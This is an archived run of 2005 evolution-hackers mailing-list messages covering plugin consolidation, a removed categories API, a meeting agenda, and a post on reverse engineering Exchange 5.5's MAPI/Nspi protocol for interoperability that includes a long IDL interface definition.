hits=11.5 required=5.0 tests=BAYES_90,HTML_20_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: *********** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] plugins for groupwise/exchange/etc Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-FnKRwk4k+fNU9d6d2YKL Content-Type: text/plain Content-Transfer-Encoding: 7bit I've noticed that there are many plugins for groupwise at least, each one doing one little thing. They should really be consolidated into a single 'groupwise' plugin, any plugin can hook into any part of the whole application any number of times, there is no need to have many plugins to do what we're after. It just clutters everything up. --=-FnKRwk4k+fNU9d6d2YKL Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit

I've noticed that there are many plugins for groupwise at least, each one doing one little thing.

They should really be consolidated into a single 'groupwise' plugin, any plugin can hook into any part of the whole application any number of times, there is no need to have many plugins to do what we're after.  It just clutters everything up.


--=-FnKRwk4k+fNU9d6d2YKL-- From rodrigo@novell.com Tue Feb 1 08:00:01 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 774B0125206; Tue, 1 Feb 2005 08:00:01 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 286F7125288 for ; Tue, 1 Feb 2005 07:59:49 -0500 (EST) Received: (qmail 18938 invoked from network); 1 Feb 2005 12:59:48 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 1 Feb 2005 12:59:48 -0000 From: Rodrigo Moya To: Evolution Hackers Content-Type: multipart/mixed; boundary="=-9xF7GpahfhgteCypW65s" Date: Tue, 01 Feb 2005 13:57:45 +0100 Message-Id: <1107262665.1274.2.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=1.8 required=5.0 tests=BAYES_10,MAILTO_WITH_SUBJ,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] *ref_categories methods removed Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-9xF7GpahfhgteCypW65s Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi I removed the other day the backend API for notifying clients of category changes. Now the search bar (which is what was using that) just displays all categories, so no need for backends to keep updating the list of used categories. I made the attached change to evolution-exchange, which I guess would be needed for other backends too. -- Rodrigo Moya --=-9xF7GpahfhgteCypW65s Content-Disposition: inline Content-Description: Forwarded message - GNOME CVS: evolution-exchange rodrigo Content-Type: message/rfc822 Return-Path: X-Original-To: rodrigo@gnome-db.org Delivered-To: rodrigo@gnome-db.org Received: from localhost (localhost [127.0.0.1]) by mail.gnome-db.org (Postfix) with ESMTP id 74C9A24004 for ; Tue, 1 Feb 2005 12:40:12 +0000 (UTC) Received: from mail.gnome-db.org ([127.0.0.1]) by localhost (mail.gnome-db.org [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 00803-05 for ; Tue, 1 Feb 2005 12:40:09 +0000 (UTC) Received: from menubar.gnome.org (menubar.gnome.org [12.107.209.248]) by mail.gnome-db.org (Postfix) with ESMTP id 76F0524002 for ; Tue, 1 Feb 2005 12:40:09 +0000 (UTC) Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 00B263B119C; Tue, 1 Feb 2005 07:40:08 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11997-01; Tue, 1 Feb 2005 07:40:01 -0500 (EST) Received: from menubar.gnome.org (localhost.localdomain [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 3CCB53B1225; Tue, 1 Feb 2005 07:39:58 -0500 (EST) X-Original-To: cvs-commits-list@mail.gnome.org Delivered-To: cvs-commits-list@mail.gnome.org Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id C2D473B1240 for ; Tue, 1 Feb 2005 07:39:53 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11896-09 for ; Tue, 1 Feb 2005 07:39:52 -0500 (EST) Received: from container.gnome.org (container.gnome.org [12.107.209.249]) by menubar.gnome.org (Postfix) with ESMTP id 04C313B1225 for ; Tue, 1 Feb 2005 07:39:27 -0500 (EST) Received: by container.gnome.org (Postfix, from userid 70) id B47A6165E4D; Tue, 1 Feb 2005 07:39:26 -0500 (EST) To: cvs-commits-list@mail.gnome.org X-CVS-Module: evolution-exchange Message-Id: <20050201123926.B47A6165E4D@container.gnome.org> Date: Tue, 1 Feb 2005 07:39:26 -0500 (EST) From: gnomecvs@container.gnome.org (Gnome CVS User) X-Virus-Scanned: by amavisd-new at gnome.org Cc: Subject: GNOME CVS: evolution-exchange rodrigo X-BeenThere: cvs-commits-list@gnome.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: gnome-hackers@gnome.org List-Id: CVS Logs List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: cvs-commits-list-bounces@gnome.org Errors-To: cvs-commits-list-bounces@gnome.org X-Virus-Scanned: by amavisd-new at gnome.org X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at gnome-db.org Mime-Version: 1.0 Content-Transfer-Encoding: 7bit CVSROOT: /cvs/gnome Module name: evolution-exchange Changes by: rodrigo 05/02/01 07:39:26 Modified files: . : ChangeLog calendar : e-cal-backend-exchange-calendar.c Log message: 2005-02-01 Rodrigo Moya * calendar/e-cal-backend-exchange-calendar.c (create_object, modify_object_with_href, remove_object): removed usage of removed categories API. URL : http://cvs.gnome.org/bonsai/cvsquery.cgi?branch=&dir=evolution-exchange&who=rodrigo&date=explicit&mindate=2005-02-01%2007:38&maxdate=2005-02-01%2007:40 _______________________________________________ cvs-commits-list mailing list cvs-commits-list@gnome.org http://mail.gnome.org/mailman/listinfo/cvs-commits-list --=-9xF7GpahfhgteCypW65s-- From jpr@novell.com Tue Feb 1 08:12:12 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id A2903124FBA; Tue, 1 Feb 2005 08:12:12 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id A02D412488F for ; Tue, 1 Feb 2005 08:11:54 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 01 Feb 2005 06:11:51 -0700 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: JP Rosevear To: Sivaiah Nallagatla Cc: =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107239902.9842.4.camel@Gr8-Siva.hathaway> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> Content-Type: text/plain; charset=utf-8 Organization: Novell, Inc. Date: Tue, 01 Feb 2005 08:11:46 -0500 Message-Id: <1107263506.15530.1.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-24.7 required=5.0 tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-01-31 at 22:38 -0800, Sivaiah Nallagatla wrote: > On Sat, 2005-01-29 at 22:51 +0000, Stéphane Konstantaropoulos wrote: > > Hi there, > > > > I 'd like to know whether evolution, as a whole, is online, so that I > > make it publish to non-local uris or not. > > > > Is there a quick way to find that out? > > > > The Shell interface does not provide such a method and the Offline > > interface has no factory. > > > > I could check the offline property of the calendars to publish (with > > e_source_get_property(source, "offline") ) but does that make sense for > > local calendars? > This property ("offline_sync") indicates whether that particular > calendar contents has to be cached for offiline usage or not. It is not > related offline/online status. Isn't there a gconf key that determines the state? Or does that just determine the startup state? -JP -- JP Rosevear Novell, Inc. From lkcl@lkcl.net Tue Feb 1 09:56:43 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 3D33D1247D6; Tue, 1 Feb 2005 09:56:43 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 5B35F12507B for ; Tue, 1 Feb 2005 09:56:29 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id 63991BFB5 for ; Tue, 1 Feb 2005 14:56:16 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1Cvzc1-0000B5-4K for evolution-hackers@lists.ximian.com; Tue, 01 Feb 2005 15:06:41 +0000 Date: Tue, 1 Feb 2005 15:06:41 +0000 From: Luke Kenneth Casson Leighton To: evolution-hackers@lists.ximian.com Message-ID: <20050201150641.GV5707@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=1.9 required=5.0 tests=RCVD_IN_NJABL,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, USER_AGENT_MUTT version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: hi, i've begun the network-reverse-engineering necessary to interoperating with Exchange 5.5 and Outlook. i have a basic test client and a basic server which is able to return hard coded data structures. the key difference between the present attempt and all previous ones is that i have started from FreeDCE not from decoding MSRPC on-wire, so i have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE turns that into c code, and it's a matter of filling in the blanks. unfortunately there are a lot of blanks. _fortunately_, the data structures of emsabp.idl (the Nspi interface) are IDENTICAL to those used in mapidefs.h - see Wine's include/windows/mapidefs.h anybody interested in helping out please contact me. in particular, help with tying in MAPI which is actually MS-TNEF which is winmail.dat which is therefore directly relevant to evolution, much appreciated. l. -- -- http://lkcl.net -- [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), version(56.0), implicit_handle(handle_t rpc_binding) ] interface emsabp { /* this is mostly identical to wine/include/mapidefs.h, * up until MAPIERROR, at which point it looks completely * unfamiliar and alien. * * the functions in the IMAPITable only look _vaguely_ * familiar but are like, utterly different. * really odd. same data structures. different functions. * oh well. */ #define PR_ENTRYID 0x0fff0102 #define PR_OBJECTID 0xfffd0003 #define PR_DISPLAY_NAME 0x3001001e #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ #define PR_DEPTH 0x30050003 #define PR_PARENTENTRYID 0xfffc0102 typedef unsigned short WCHAR; typedef struct { long element_1; long element_2; long element_3; long element_4; long element_5; long element_6; long element_7; long element_8; long element_9; } EMS_MAPI_UNIDENTIFIED; typedef struct { char ab[16]; } MAPIUID; typedef [context_handle] void *emsabp_hnd_t; long NspiBind( [in] handle_t element_11, [in] long element_12, [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, [in,out, unique] MAPIUID *element_14, [out] emsabp_hnd_t *element_15 ); long NspiUnbind( [in,out] emsabp_hnd_t *element_16, [in] long element_17 ); long NspiUpdateStat( [in] emsabp_hnd_t element_18, [in] long element_19, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, [in,out, unique] long *element_21 ); /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ /* this is probably an SPropTagArray. although it doesn't match * up with the definition in wine/includes/mapidefs.h, it also * is the data structure i've had the most difficulty with, matching * it to on-wire format. */ typedef struct { [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; long cValues; /*long element_24;*/ } EMS_SPropTagArray; typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; typedef struct { long cb; [size_is(cb), ptr] char *lpb; } EMS_SBinary; typedef struct { long dwLowDateTime; long dwHighDateTime; } EMS_FILETIME; typedef struct { long cValues; [size_is(cValues), ptr] short *lpi; } EMS_SShortArray; typedef struct { long cValues; [size_is(cValues), ptr] long *lpl; } EMS_MULTIVALUE_LONG_STRUCT; typedef struct { long cValues; [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ } EMS_SLPSTRArray; typedef struct { long cValues; [size_is(cValues), ptr] EMS_SBinary *lpbin; } EMS_SBinaryArray; typedef struct { long cValues; [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ } EMS_SGuidArray; typedef struct { long cValues; [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ } EMS_MULTIVALUE_UNICODE_STRUCT; typedef struct { long cValues; [size_is(cValues), ptr] EMS_FILETIME *lpft; } EMS_SDateTimeArray; typedef [ptr, string] unsigned short *WSTRING; typedef [ptr, string] char *STRING; #define PT_UNSPECIFIED 0x0000 #define PT_NULL 0x0001 #define PT_I2 0002 #define PT_LONG 0003 #define PT_R4 0004 #define PT_DOUBLE 0x0005 #define PT_CURRENCY 0x0006 #define PT_APPTIME 0x0007 /*#define PT_CLSID 0x0008 */ #define PT_ERROR 0x000a /* means in a response package, that the given attribute contains no value, or not exists. -> So it won't be contained in the enumeration of the attrib. values array. */ #define PT_BOOLEAN 0x000b #define PT_OBJECT 0x000d #define PT_I8 0x0014 #define PT_STRING8 0x001e #define PT_UNICODE 0x001f #define PT_SYSTIME 0x0040 #define PT_CLSID 0x0048 #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ /* MV means MultiValued*/ #define PT_MV_I2 0x1002 #define PT_MV_LONG 0x1003 #define PT_MV_R4 0x1004 #define PT_MV_DOUBLE 0x1005 #define PT_MV_CURRENCY 0x1006 #define PT_MV_APPTIME 0x1007 #define PT_MV_I8 0x1014 #define PT_MV_STRING8 0x101e #define PT_MV_TSTRING 0x101e #define PT_MV_UNICODE 0x101f #define PT_MV_SYSTIME 0x1040 #define PT_MV_CLSID 0x1048 #define PT_MV_BINARY 0x1102 typedef [switch_type(long)] union { [case(PT_I2)] short i; [case(PT_LONG)] long l; [case(PT_BOOLEAN)] short b; [case(PT_STRING8)] STRING lpszA; [case(PT_BINARY)] EMS_SBinary bin; [case(PT_UNICODE)] WSTRING lpszW; [case(PT_CLSID), ptr] MAPIUID *lpguid; [case(PT_SYSTIME)] EMS_FILETIME ft; [case(PT_ERROR)] long err; [case(PT_MV_I2)] EMS_SShortArray MVi; [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; [case(PT_NULL)] long null; [case(PT_OBJECT)] long object; } EMS_SPropValue_CTR; typedef struct { long ulPropTag; long dwAlignPad; [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; } EMS_SPropValue; typedef struct { long ulAdrEntryPad; long cValues; [size_is(cValues), unique] EMS_SPropValue *lpProps; } EMS_SRow; typedef [unique] EMS_SRow *EMS_SRow_PTR ; typedef struct { long cRows; [size_is(cRows)] EMS_SRow aRow[*]; } EMS_SRowSet; typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; long NspiQueryRows( [in] emsabp_hnd_t element_69, [in] long element_70, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, [in] long lRows, [in, size_is(lRows), unique] long *element_73, [in] long element_74, [in, ref] EMS_SPropTagArray *element_75, [out, ref] EMS_SRowSet_PTR *element_76 ); long NspiSeekEntries( [in] emsabp_hnd_t element_77, [in] long element_78, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, [in, ref] EMS_SPropValue *element_80, [in, unique] EMS_SPropTagArray *element_81, [in, unique] EMS_SPropTagArray *element_82, [out, ref] EMS_SRowSet_PTR *element_83 ); typedef [ptr] struct _SRestriction *LPSRestriction; typedef struct { long cRes; [size_is(cRes)] LPSRestriction lpRes; } EMS_SAndRestriction; typedef struct { long cRes; [size_is(cRes)] LPSRestriction lpRes; } EMS_SOrRestriction; typedef struct { /* ULONG ulReserved - perhaps an [ignore] property on this one? */ LPSRestriction lpRes; } EMS_SNotRestriction; typedef struct { long ulFuzzyLevel; long ulPropTag; [ptr] EMS_SPropValue *lpProp; } EMS_SContentRestriction; typedef struct { long relop; long ulPropTag; [ptr] EMS_SPropValue *lpProp; } EMS_SPropertyRestriction; typedef struct { long ulReserved1; long ulPropTag; long ulReserved2; } EMS_SExistRestriction; typedef struct { long relop; long ulPropTag; long cb; } EMS_SSizeRestriction; typedef struct { long relBMR; long ulPropTag; long ulMask; } EMS_SBitMaskRestriction; typedef struct { long relop; long ulPropTag1; long ulPropTag2; } EMS_SComparePropsRestriction; typedef struct { long ulSubObject; LPSRestriction lpRes; } EMS_SSubRestriction; typedef struct { [unique] MAPIUID *lpguid; long ulKind; long lID; /* this is actually a union in mapidefs.h */ } EMS_MAPINAMEID; /* Restriction types */ #define RES_AND 0U #define RES_OR 1U #define RES_NOT 2U #define RES_CONTENT 3U #define RES_PROPERTY 4U #define RES_COMPAREPROPS 5U #define RES_BITMASK 6U #define RES_SIZE 7U #define RES_EXIST 8U #define RES_SUBRESTRICTION 9U #define RES_COMMENT 10U typedef [switch_type(long)] union { [case(RES_AND) ] EMS_SAndRestriction resAnd; [case(RES_OR) ] EMS_SOrRestriction resOr; [case(RES_NOT) ] EMS_SNotRestriction resNot; [case(RES_CONTENT) ] EMS_SContentRestriction resContent; [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; [case(RES_SIZE) ] EMS_SSizeRestriction resSize; [case(RES_EXIST) ] EMS_SExistRestriction resExist; /* case SCommentRestriction is missing! */ } EMS_SRestriction_CTR; typedef struct _SRestriction { long rt; [switch_is(rt)] EMS_SRestriction_CTR res; } EMS_SRestriction; long NspiGetMatches( [in] emsabp_hnd_t element_110, [in] long element_111, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, [in, unique] EMS_SPropTagArray *element_113, [in] long element_114, [in, unique] EMS_SRestriction *element_115, [in, unique] EMS_MAPINAMEID *element_116, [in] long element_117, [out, ref] EMS_SPropTagArray *element_118, [in, ref] EMS_SPropTagArray *element_119, [out, ref] EMS_SRowSet_PTR *element_120 ); long NspiResortRestriction( [in] emsabp_hnd_t element_121, [in] long element_122, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, [in, ref] EMS_SPropTagArray *element_124, [in,out, ref] EMS_LPSPropTagArray *element_125 ); typedef struct { long element_126; [unique, string] char *element_127; } EMS_NAME_STRING; long NspiDNToEph( [in] emsabp_hnd_t element_128, [in] long element_129, [in, ref] EMS_NAME_STRING *element_130, [out, ref] EMS_SPropTagArray *element_131 ); long NspiGetPropList( [in] emsabp_hnd_t element_132, [in] long element_133, [in] long element_134, [in] long element_135, [out, ref] EMS_LPSPropTagArray *element_136 ); long NspiGetProps( [in] emsabp_hnd_t element_137, [in] long element_138, [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, [in, unique] EMS_SPropTagArray *element_140, [out, ref] EMS_SRow_PTR *element_141 ); long NspiCompareDNTs( [in] emsabp_hnd_t element_142, [in] long element_143, [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, [in] long element_145, [in] long element_146, [out, ref] long *element_147 ); long NspiModProps( [in] emsabp_hnd_t element_148, [in] long element_149, [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, [in, unique] EMS_SPropTagArray *element_151, [in, ref] EMS_SRow *element_152 ); long NspiGetHierarchyInfo( [in] emsabp_hnd_t element_153, [in] long element_154, [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, [in,out, ref] long *element_156, [out, ref] EMS_SRowSet_PTR *element_157 ); long NspiGetTemplateInfo( [in] emsabp_hnd_t element_158, [in] long element_159, [in] long element_160, [in, unique, string] char *element_161, [in] long element_162, [in] long element_163, [out, ref] EMS_SRow_PTR *element_164 ); long NspiModLInkAtt( [in] emsabp_hnd_t element_165, [in] long element_166, [in] long element_167, [in] long element_168, [in, ref] EMS_SBinaryArray *element_169 ); long NspiDeleteEntries( [in] emsabp_hnd_t element_170, [in] long element_171, [in] long element_172, [in, ref] EMS_SBinaryArray *element_173 ); long NspiQueryColumns( [in] emsabp_hnd_t element_174, [in] long element_175, [in] long element_176, [out, ref] EMS_LPSPropTagArray *element_177 ); typedef struct { long element_178; [unique] MAPIUID *element_179; } EMS_NAME_CLSID; typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; long NspiGetNamesFromIDs( [in] emsabp_hnd_t element_180, [in] long element_181, [in, unique] MAPIUID *element_182, [in, unique] EMS_SPropTagArray *element_183, [out, ref] EMS_LPSPropTagArray *element_184, [out, ref] EMS_NAME_CLSID_PTR *element_185 ); long NspiGetIDsFromNames( [in] emsabp_hnd_t element_186, [in] long element_187, [in] long element_188, [in] long element_189, [in, size_is(element_189), ref] long *element_190, [out, ref] EMS_LPSPropTagArray *element_191 ); long NspiResolveNames( [in] emsabp_hnd_t element_192, [in] long element_193, [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, [in, unique] EMS_SPropTagArray *element_195, [in, ref] EMS_NAME_STRING *element_196, [out, ref] EMS_LPSPropTagArray *element_197, [out, ref] EMS_SRowSet_PTR *element_198 ); typedef struct { long element_199; [unique, string] WCHAR *element_200; } EMS_NAME_UNICODE; long NspiResolveNamesW( [in] emsabp_hnd_t element_201, [in] long element_202, [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, [in, unique] EMS_SPropTagArray *element_204, [in, ref] EMS_NAME_UNICODE *element_205, [out, ref] EMS_LPSPropTagArray *element_206, [out, ref] EMS_SRowSet_PTR *element_207 ); } From jpr@novell.com Tue Feb 1 11:43:24 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id A4144125457; Tue, 1 Feb 2005 11:43:24 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id DECE8125457 for ; Tue, 1 Feb 2005 11:43:12 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 01 Feb 2005 09:43:07 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 01 Feb 2005 11:43:03 -0500 Message-Id: <1107276184.29099.11.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=1.2 required=5.0 tests=BAYES_10,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.1 String freeze -2.1 notification reminder -Patch review mode -2.0.4 bugs and timeline 2. Harish on the wiki 3. Team -individual status reports 4. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From pcolijn@gmail.com Tue Feb 1 13:51:33 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id BACB712461E; Tue, 1 Feb 2005 13:51:32 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by lists.ximian.com (Postfix) with ESMTP id 53298124386 for ; Tue, 1 Feb 2005 13:51:20 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 58so414084wri for ; Tue, 01 Feb 2005 10:51:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=p8capJdDeUPrnRSrHgF07XKZHxr2BSjLYKrwr4iV9K1osaU9yLAgUNao0a4wtrH8BBCwLs2cKNEfkrNdja52wWvc0hrwKDI3LWL8LmLa4yE9K48iMa95FycTErWSN22JqDRsAEhnbEk4GjT89l8/K1yZXpcBoQbEAz+WGuXMxSU= Received: by 10.54.39.17 with SMTP id m17mr214865wrm; Tue, 01 Feb 2005 10:51:19 -0800 (PST) Received: by 10.54.54.67 with HTTP; Tue, 1 Feb 2005 10:51:18 -0800 (PST) Message-ID: <7c35b00e050201105168b14d75@mail.gmail.com> Date: Tue, 1 Feb 2005 10:51:18 -0800 From: Peter Colijn Reply-To: Peter Colijn To: Luke Kenneth Casson Leighton Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Cc: evolution-hackers@lists.ximian.com In-Reply-To: <20050201150641.GV5707@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050201150641.GV5707@lkcl.net> X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Luke, You might want to check out WvMapi. You can download it at http://open.nit.ca/wiki/?DownloadSnapshots (get the evolution-exchangeit tarball, look for the wvampi subdirectory). WvMapi currently supports decoding/encoding TNEFs containing the attMapiProps attribute, from standard iCalendar and vCard files. It's under LGPL. Have fun, Peter On Tue, 1 Feb 2005 15:06:41 +0000, Luke Kenneth Casson Leighton wrote: > hi, > > i've begun the network-reverse-engineering necessary to interoperating > with Exchange 5.5 and Outlook. > > i have a basic test client and a basic server which is able to return > hard coded data structures. > > the key difference between the present attempt and all previous ones is > that i have started from FreeDCE not from decoding MSRPC on-wire, so i > have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE > turns that into c code, and it's a matter of filling in the blanks. > > unfortunately there are a lot of blanks. _fortunately_, the data > structures of emsabp.idl (the Nspi interface) are IDENTICAL to those > used in mapidefs.h - see Wine's include/windows/mapidefs.h > > anybody interested in helping out please contact me. > > in particular, help with tying in MAPI which is actually MS-TNEF which > is winmail.dat which is therefore directly relevant to evolution, > much appreciated. > > l. > > -- > -- > http://lkcl.net > -- > > [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), > version(56.0), > implicit_handle(handle_t rpc_binding) > ] interface emsabp > { > > /* this is mostly identical to wine/include/mapidefs.h, > * up until MAPIERROR, at which point it looks completely > * unfamiliar and alien. > * > * the functions in the IMAPITable only look _vaguely_ > * familiar but are like, utterly different. > * really odd. same data structures. different functions. > * oh well. > */ > > #define PR_ENTRYID 0x0fff0102 > #define 